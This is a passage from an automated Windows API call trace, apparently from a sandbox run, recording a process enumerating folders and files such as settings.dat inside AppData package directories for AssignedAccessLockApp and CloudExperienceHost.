dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.384] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.384] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.384] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState", lpFilePart=0x0) returned 0x6f [0215.384] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\roamingstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.384] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.385] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.385] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.385] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings", lpFilePart=0x0) returned 0x6b [0215.385] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x92954bae, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.526] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x92954bae, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.527] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0215.527] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x92c4fc93, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92c4fc93, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0215.527] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x92849c84, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x92849c84, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92849c84, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0215.527] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x92849c84, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x92849c84, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92849c84, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0215.527] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.527] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.529] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings", lpFilePart=0x0) returned 0x6b [0215.529] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x92954bae, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.530] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x92954bae, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.531] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0215.531] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x92c4fc93, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92c4fc93, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0215.531] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x92849c84, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x92849c84, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92849c84, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0215.532] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x92849c84, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x92849c84, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92849c84, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0215.532] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x92849c84, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x92849c84, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x92849c84, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0215.532] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.533] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData", lpFilePart=0x0) returned 0x70 [0215.533] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\systemappdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.534] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.534] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.534] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.535] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData", lpFilePart=0x0) returned 0x70 [0215.535] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\systemappdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.535] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.535] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a40a93, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a40a93, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a40a93, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.536] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.536] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState", lpFilePart=0x0) returned 0x6c [0215.536] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.537] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.537] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.537] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.537] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState", lpFilePart=0x0) returned 0x6c [0215.537] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.538] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.538] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.538] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0215.538] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", lpFilePart=0x0) returned 0x60 [0215.539] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557f750e, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x559e7456, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x559e7456, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.539] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557f750e, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x559e7456, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x559e7456, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.539] 